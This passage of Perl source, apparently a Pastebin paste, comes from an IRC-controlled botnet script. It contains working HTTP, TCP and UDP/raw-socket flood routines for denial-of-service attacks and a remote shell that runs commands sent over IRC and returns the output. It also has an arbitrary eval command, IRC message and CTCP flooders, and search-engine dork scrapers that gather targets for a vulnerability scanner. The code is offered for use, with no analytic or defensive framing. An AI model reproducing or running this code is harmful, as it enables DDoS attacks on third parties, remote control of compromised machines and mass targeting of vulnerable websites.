  1251. elsif($re =~ /Mic22/)
  1252. {
  1253. my $hs=geths($print); $hosts{$hs}++;
  1254. if($hosts{$hs}=="1"){
  1255. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Safe Mode =  ON :. | Vuln:  $print  ");
  1256. }}
  1257. }}}
  1258. exit;
  1259. }}}
  1260. ######################
  1261. #End of MultiSCANNER #
  1262. ######################
  1263. ######################
  1264. #     HTTPFlood      #
  1265. ######################
  1266.          if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1267.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  1268.             my $itime = time;
  1269.             my ($cur_time);
  1270.             $cur_time = time - $itime;
  1271.             while ($2>$cur_time){
  1272.                $cur_time = time - $itime;
  1273.                my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1274.                print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1275.                close($socket);
  1276.             }
  1277.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
  1278.          }
  1279. ######################
  1280. #  End of HTTPFlood  #
  1281. ######################
  1282. ######################
  1283. #     UDPFlood       #
  1284. ######################
  1285.          if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1286.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3UDP DDoS12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
  1287.             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1288.             $dtime = 1 if $dtime == 0;
  1289.             my %bytes;
  1290.             $bytes{igmp} = $2 * $pacotes{igmp};
  1291.             $bytes{icmp} = $2 * $pacotes{icmp};
  1292.             $bytes{o} = $2 * $pacotes{o};
  1293.             $bytes{udp} = $2 * $pacotes{udp};
  1294.             $bytes{tcp} = $2 * $pacotes{tcp};
  1295.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3UDP-DDos12]12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
  1296.          }
  1297. ######################
  1298. #  End of Udpflood   #
  1299. ######################
  1300.          exit;
  1301.       }
  1302.    }
  1303.  
  1304. sub ircase {
  1305.    my ($kem, $printl, $case) = @_;
  1306.    if ($case =~ /^join (.*)/) {
  1307.       j("$1");
  1308.    }
  1309.    if ($case =~ /^part (.*)/) {
  1310.       p("$1");
  1311.    }
  1312.    if ($case =~ /^rejoin\s+(.*)/) {
  1313.       my $chan = $1;
  1314.       if ($chan =~ /^(\d+) (.*)/) {
  1315.          for (my $ca = 1; $ca <= $1; $ca++ ) {
  1316.             p("$2");
  1317.             j("$2");
  1318.          }
  1319.       } else {
  1320.          p("$chan");
  1321.          j("$chan");
  1322.       }
  1323.    }
  1324.  
  1325.    if ($case =~ /^op/) {
  1326.       op("$printl", "$kem") if $case eq "op";
  1327.       my $oarg = substr($case, 3);
  1328.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1329.    }
  1330.  
  1331.    if ($case =~ /^deop/) {
  1332.       deop("$printl", "$kem") if $case eq "deop";
  1333.       my $oarg = substr($case, 5);
  1334.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1335.    }
  1336.  
  1337.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  1338.       msg("$1", "$2");
  1339.    }
  1340.  
  1341.    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1342.       for (my $cf = 1; $cf <= $1; $cf++) {
  1343.          msg("$2", "$3");
  1344.       }
  1345.    }
  1346.  
  1347.    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1348.       ctcp("$1", "$2");
  1349.    }
  1350.  
  1351.    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1352.       for (my $cf = 1; $cf <= $1; $cf++) {
  1353.          ctcp("$2", "$3");
  1354.       }
  1355.    }
  1356.  
  1357.    if ($case =~ /^nick (.*)/) {
  1358.       nick("$1");
  1359.    }
  1360.  
  1361.    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1362.       conectar("$2", "$1", 6667);
  1363.    }
  1364.  
  1365.    if ($case =~ /^raw (.*)/) {
  1366.       sendraw("$1");
  1367.    }
  1368.  
  1369.    if ($case =~ /^eval (.*)/) {
  1370.       eval "$1";
  1371.    }
  1372. }
  1373.  
  1374. sub get_html() {
  1375. $test=$_[0];
  1376.  
  1377.       $ip=$_[1];
  1378.       $port=$_[2];
  1379.  
  1380. my $req=HTTP::Request->new(GET=>$test);
  1381. my $ua=LWP::UserAgent->new();
  1382. if(defined($ip) && defined($port)) {
  1383.       $ua->proxy("http","http://$ip:$port/");
  1384.       $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  1385. }
  1386. $ua->timeout(1);
  1387. my $response=$ua->request($req);
  1388. if ($response->is_success) {
  1389.    $re=$response->content;
  1390. }
  1391. return $re;
  1392. }
  1393.  
  1394. sub addproc {
  1395.  
  1396.    my $proc=$_[0];
  1397.    my $dork=$_[1];
  1398.      
  1399.    open(FILE,">>/var/tmp/pids");
  1400.    print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";
  1401.    close(FILE);
  1402. }
  1403.  
  1404.  
  1405. sub delproc {
  1406.  
  1407.    my $proc=$_[0];
  1408.    open(FILE,"/var/tmp/pids");
  1409.  
  1410.    while(<FILE>) {
  1411.       $_ =~ /(\d+)\s+(.*)/;
  1412.       $childs{$1}=$2;
  1413.    }
  1414.    close(FILE);
  1415.    delete($childs{$proc});
  1416.  
  1417.    open(FILE,">/var/tmp/pids");
  1418.  
  1419.    for $klucz (keys %childs) {
  1420.       print FILE $klucz." ".$childs{$klucz}."\n";
  1421.    }
  1422. }
  1423.  
  1424. sub shell {
  1425.    my $printl=$_[0];
  1426.    my $comando=$_[1];
  1427.    if ($comando =~ /cd (.*)/) {
  1428.       chdir("$1") || msg("$printl", "No such file or directory");
  1429.       return;
  1430.    } elsif ($pid = fork) {
  1431.       waitpid($pid, 0);
  1432.    } else {
  1433.       if (fork) {
  1434.          exit;
  1435.       } else {
  1436.          my @resp=`$comando 2>&1 3>&1`;
  1437.          my $c=0;
  1438.          foreach my $linha (@resp) {
  1439.             $c++;
  1440.             chop $linha;
  1441.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1442.             if ($c == "$linas_max") {
  1443.                $c=0;
  1444.                sleep $sleep;
  1445.             }
  1446.          }
  1447.          exit;
  1448.       }
  1449.    }
  1450. }
  1451.  
  1452. sub tcpflooder {
  1453.    my $itime = time;
  1454.    my ($cur_time);
  1455.    my ($ia,$pa,$proto,$j,$l,$t);
  1456.    $ia=inet_aton($_[0]);
  1457.    $pa=sockaddr_in($_[1],$ia);
  1458.    $ftime=$_[2];
  1459.    $proto=getprotobyname('tcp');
  1460.    $j=0;$l=0;
  1461.    $cur_time = time - $itime;
  1462.    while ($l<1000){
  1463.       $cur_time = time - $itime;
  1464.       last if $cur_time >= $ftime;
  1465.       $t="SOCK$l";
  1466.       socket($t,PF_INET,SOCK_STREAM,$proto);
  1467.       connect($t,$pa)||$j--;
  1468.       $j++;
  1469.       $l++;
  1470.    }
  1471.    $l=0;
  1472.    while ($l<1000){
  1473.       $cur_time = time - $itime;
  1474.       last if $cur_time >= $ftime;
  1475.       $t="SOCK$l";
  1476.       shutdown($t,2);
  1477.       $l++;
  1478.    }
  1479. }
  1480.  
  1481. sub udpflooder {
  1482.    my $iaddr = inet_aton($_[0]);
  1483.    my $msg = 'A' x $_[1];
  1484.    my $ftime = $_[2];
  1485.    my $cp = 0;
  1486.    my (%pacotes);
  1487.    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1488.    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1489.    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1490.    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1491.    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1492.    return(undef) if $cp == 4;
  1493.    my $itime = time;
  1494.    my ($cur_time);
  1495.    while ( 1 ) {
  1496.       for (my $porta = 1; $porta <= 65000; $porta++) {
  1497.          $cur_time = time - $itime;
  1498.          last if $cur_time >= $ftime;
  1499.          send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1500.          send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1501.          send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1502.          send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1503.          for (my $pc = 3; $pc <= 255;$pc++) {
  1504.             next if $pc == 6;
  1505.             $cur_time = time - $itime;
  1506.             last if $cur_time >= $ftime;
  1507.             socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1508.             send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1509.          }
  1510.       }
  1511.       last if $cur_time >= $ftime;
  1512.    }
  1513.    return($cur_time, %pacotes);
  1514. }
  1515.  
  1516. sub ctcp {
  1517.    return unless $#_ == 1;
  1518.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1519. }
  1520.  
  1521. sub msg {
  1522.    return unless $#_ == 1;
  1523.    sendraw("PRIVMSG $_[0] :$_[1]");
  1524. }
  1525.  
  1526. sub notice {
  1527.    return unless $#_ == 1;
  1528.    sendraw("NOTICE $_[0] :$_[1]");
  1529. }
  1530.  
  1531. sub op {
  1532.    return unless $#_ == 1;
  1533.    sendraw("MODE $_[0] +o $_[1]");
  1534. }
  1535.  
  1536. sub deop {
  1537.    return unless $#_ == 1;
  1538.    sendraw("MODE $_[0] -o $_[1]");
  1539. }
  1540.  
  1541. sub j {
  1542.    &join(@_);
  1543. }
  1544.  
  1545. sub join {
  1546.    return unless $#_ == 0;
  1547.    sendraw("JOIN $_[0]");
  1548. }
  1549.  
  1550. sub p {
  1551.    part(@_);
  1552. }
  1553.  
  1554. sub part {
  1555.    sendraw("PART $_[0]");
  1556. }
  1557.  
  1558. sub nick {
  1559.    return unless $#_ == 0;
  1560.    sendraw("NICK $_[0]");
  1561. }
  1562.  
  1563. sub quit {
  1564.    sendraw("QUIT :$_[0]");
  1565. }
  1566.  
  1567. sub fetch(){
  1568.    my $rnd=(int(rand(9999)));
  1569.    my $n= 80;
  1570.    if ($rnd<5000) {
  1571.       $n<<=1;
  1572.    }
  1573.    my $s= (int(rand(10)) * $n);
  1574.    my @dominios = ("removed-them-all");
  1575.    my @str;
  1576.    foreach $dom  (@dominios){
  1577.       push (@str,"@gstring");
  1578.    }
  1579.    my $query="www.google.com/search?q=";
  1580.    $query.=$str[(rand(scalar(@str)))];
  1581.    $query.="&num=$n&start=$s";
  1582.    my @lst=();
  1583.    sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  1584.    my $page = http_query($query);
  1585.    while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  1586.       if ($1 !~ m/google|cache|translate/){
  1587.          push (@lst,$1);
  1588.       }
  1589.    }
  1590.    return (@lst);
  1591.  
  1592. sub yahoo(){
  1593. my @lst;
  1594. my $key = $_[0];
  1595. for($b=1;$b<=1000;$b+=100){
  1596. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1597. my $Res=query($Ya);
  1598. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1599. my $k=$1;
  1600. $k=~s/<b>//g;
  1601. $k=~s/<\/b>//g;
  1602. $k=~s/<wbr>//g;
  1603. my @grep=links($k);
  1604. push(@lst,@grep);
  1605. }}
  1606. return @lst;
  1607. }
  1608.  
  1609. sub msn(){
  1610. my @lst;
  1611. my $key = $_[0];
  1612. for($b=1;$b<=1000;$b+=10){
  1613. my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
  1614. my $Res=query($msn);
  1615. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1616. if($1 !~ /msn|live/){
  1617. my $k=$1;
  1618. my @grep=links($k);
  1619. push(@lst,@grep);
  1620. }}}
  1621. return @lst;
  1622. }
  1623.  
  1624. sub lycos(){
  1625. my $inizio=0;
  1626. my $pagine=20;
  1627. my $key=$_[0];
  1628. my $av=0;
  1629. my @lst;
  1630. while($inizio <= $pagine){
  1631. my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
  1632. my $Res=query($lycos);
  1633. while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
  1634. my $k="$1";
  1635. my @grep=links($k);
  1636. push(@lst,@grep);
  1637. }
  1638. $inizio++;
  1639. $av++;
  1640. }
  1641. return @lst;
  1642. }
  1643.  
  1644. #####
  1645. sub aol(){
  1646. my @lst;
  1647. my $key = $_[0];
  1648. for($b=1;$b<=100;$b++){
  1649. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  1650. my $Res=query($AoL);
  1651. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1652. my $k=$1;
  1653. my @grep=links($k);
  1654. push(@lst,@grep);
  1655. }}
  1656. return @lst;
  1657. }
  1658. #####
  1659.  
  1660. #####
  1661. sub alltheweb()
  1662. {
  1663. my @lst;
  1664. my $key=$_[0];
  1665. my $i=0;
  1666. my $pg=0;
  1667. for($i=0; $i<=1000; $i+=100)
  1668. {
  1669. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1670. my $Res=query($all);
  1671. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1672. my $k=$1;
  1673. $k=~s/ //g;
  1674. my @grep=links($k);
  1675. push(@lst,@grep);
  1676. }}
  1677. return @lst;
  1678. }
  1679.  
  1680. sub google(){
  1681. my @lst;
  1682. my $key = $_[0];
  1683. for($b=0;$b<=100;$b+=100){
  1684. my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
  1685. my $Res=query($Go);
  1686. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1687. if ($1 !~ /google/){
  1688. my $k=$1;
  1689. my @grep=links($k);
  1690. push(@lst,@grep);
  1691. }}}
  1692. return @lst;
  1693. }
  1694.  
  1695. #####
  1696. # SUBS SEARCH
  1697. #####
  1698. sub search(){
  1699. my @lst;
  1700. my $key = $_[0];
  1701. for($b=0;$b<=1000;$b+=100){
  1702. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  1703. my $Res=query($ser);
  1704. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1705. if ($1 !~ /msn|live|google|yahoo/){
  1706. my $k=$1;
  1707. my @grep=links($k);
  1708. push(@lst,@grep);
  1709. }}}
  1710. return @lst;
  1711. }
  1712.  
  1713. #####
  1714. # SUBS FireBall
  1715. #####
  1716. sub fireball(){
  1717. my $key=$_[0];
  1718. my $inicio=1;
  1719. my $pagina=200;
  1720. my @lst;
  1721. my $av=0;
  1722. while($inicio <= $pagina){
  1723. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  1724. my $Res=query($fireball);
  1725. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  1726. if ($1 !~ /msn|live|google|yahoo/){
  1727. my $k="$1/";
  1728. my @grep=links($k);
  1729. push(@lst,@grep);
  1730. }}
  1731. $av=$av+10;
  1732. $inicio++;
  1733. }
  1734. return @lst;
  1735. }
  1736. #####
  1737. # SUBS UOL
  1738. #####
  1739. sub uol(){
  1740. my @lst;
  1741. my $key = $_[0];
  1742. for($b=1;$b<=1000;$b+=10){
  1743. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  1744. my $Res=query($UoL);
  1745. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  1746. my $k=$1;
  1747. if($k!~/busca|uol|yahoo/){
  1748. my $k=$1;
  1749. my @grep=links($k);
  1750. push(@lst,@grep);
  1751. }}}
  1752. return @lst;
  1753. }
  1754.  
  1755. #####
  1756. # Altavista
  1757. #####
  1758. sub altavista(){
  1759. my @lst;
  1760. my $key = $_[0];
  1761. for($b=1;$b<=1000;$b+=10){
  1762. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1763. my $Res=query($AlT);
  1764. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1765. if($1 !~ /altavista/){
  1766. my $k=$1;
  1767. $k=~s/<//g;
  1768. $k=~s/ //g;
  1769. my @grep=links($k);
  1770. push(@lst,@grep);
  1771. }}}
  1772. return @lst;
  1773. }
  1774.  
  1775. sub altavistade(){
  1776. my @lst;
  1777. my $key = $_[0];
  1778. for($b=1;$b<=1000;$b+=10){
  1779. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1780. my $Res=query($AlT);
  1781. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1782. if($1 !~ /altavista/){
  1783. my $k=$1;
  1784. $k=~s/<//g;
  1785. $k=~s/ //g;
  1786. my @grep=links($k);
  1787. push(@lst,@grep);
  1788. }}}
  1789. return @lst;
  1790. }
  1791.  
  1792. sub altavistaus(){
  1793. my @lst;
  1794. my $key = $_[0];
  1795. for($b=1;$b<=1000;$b+=10){
  1796. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1797. my $Res=query($AlT);
  1798. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1799. if($1 !~ /altavista/){
  1800. my $k=$1;
  1801. $k=~s/<//g;
  1802. $k=~s/ //g;
  1803. my @grep=links($k);
  1804. push(@lst,@grep);
  1805. }}}
  1806. return @lst;
  1807. }
  1808.  
  1809. #####
  1810. # HotBot
  1811. #####
  1812. sub hotbot(){
  1813. my @lst;
  1814. my $key = $_[0];
  1815. for($b=0;$b<=1000;$b+=100){
  1816. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  1817. my $Res=query($hot);
  1818. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1819. if ($1 !~ /msn|live|google|yahoo/){
  1820. my $k=$1;
  1821. my @grep=links($k);
  1822. push(@lst,@grep);
  1823. }}}
  1824. return @lst;
  1825. }
  1826.  
  1827.  
  1828. #####
  1829. # Mamma
  1830. #####
  1831. sub mamma(){
  1832. my @lst;
  1833. my $key = $_[0];
  1834. for($b=0;$b<=1000;$b+=100){
  1835. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  1836. my $Res=query($mam);
  1837. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1838. if ($1 !~ /msn|live|google|yahoo/){
  1839. my $k=$1;
  1840. my @grep=links($k);
  1841. push(@lst,@grep);
  1842. }}}
  1843. return @lst;
  1844. }
  1845.  
  1846. #####
  1847. # MozBot
  1848. #####
  1849. sub mozbot()
  1850. {
  1851. my @lst;
  1852. my $key=$_[0];
  1853. my $i=0;
  1854. my $pg=0;
  1855. for($i=0; $i<=100; $i+=1){
  1856. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  1857. my $Res=query($mozbot);
  1858. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  1859. my $k=$1;
  1860. $k=~s/ //g;
  1861. my @grep=links($k);
  1862. push(@lst,@grep);
  1863. }}
  1864. return @lst;
  1865. }
  1866.  
  1867. sub links()
  1868. {
  1869. my @l;
  1870. my $link=$_[0];
  1871. my $host=$_[0];
  1872. my $hdir=$_[0];
  1873. $hdir=~s/(.*)\/[^\/]*$/\1/;
  1874. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1875. $host.="/";
  1876. $link.="/";
  1877. $hdir.="/";
  1878. $host=~s/\/\//\//g;
  1879. $hdir=~s/\/\//\//g;
  1880. $link=~s/\/\//\//g;
  1881. push(@l,$link,$host,$hdir);
  1882. return @l;
  1883. }
  1884.  
  1885. sub geths(){
  1886. my $host=$_[0];
  1887. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1888. return $host;
  1889. }
  1890.  
  1891. sub key(){
  1892. my $chiave=$_[0];
  1893. $chiave =~ s/ /\+/g;
  1894. $chiave =~ s/:/\%3A/g;
  1895. $chiave =~ s/\//\%2F/g;
  1896. $chiave =~ s/&/\%26/g;
  1897. $chiave =~ s/\"/\%22/g;
  1898. $chiave =~ s/,/\%2C/g;
  1899. $chiave =~ s/\\/\%5C/g;
  1900. return $chiave;
  1901. }
  1902.  
  1903. sub query($){
  1904. my $url=$_[0];
  1905. $url=~s/http:\/\///;
  1906. my $host=$url;
  1907. my $query=$url;
  1908. my $page="";
  1909. $host=~s/href=\"?http:\/\///;
  1910. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1911. $query=~s/$host//;
  1912. if ($query eq "") {$query="/";};
  1913. eval {
  1914. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1915. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1916. my @r = <$sock>;
  1917. $page="@r";
  1918. close($sock);
  1919. };
  1920. return $page;
  1921. }
  1922.  
  1923. sub unici{
  1924. my @unici = ();
  1925. my %visti = ();
  1926. foreach my $elemento ( @_ )
  1927. {
  1928. next if $visti{ $elemento }++;
  1929. push @unici, $elemento;
  1930. }    
  1931. return @unici;
  1932. }
  1933.  
  1934. sub http_query($){
  1935. my ($url) = @_;
  1936. my $host=$url;
  1937. my $query=$url;
  1938. my $page="";
  1939. $host =~ s/href=\"?http:\/\///;
  1940. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1941. $query =~s/$host//;
  1942. if ($query eq "") {$query="/";};
  1943. eval {
  1944. local $SIG{ALRM} = sub { die "1";};
  1945. alarm 10;
  1946. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1947. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1948. my @r = <$sock>;
  1949. $page="@r";
  1950. alarm 0;
  1951. close($sock);
  1952. };
  1953. return $page;
  1954. }}
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top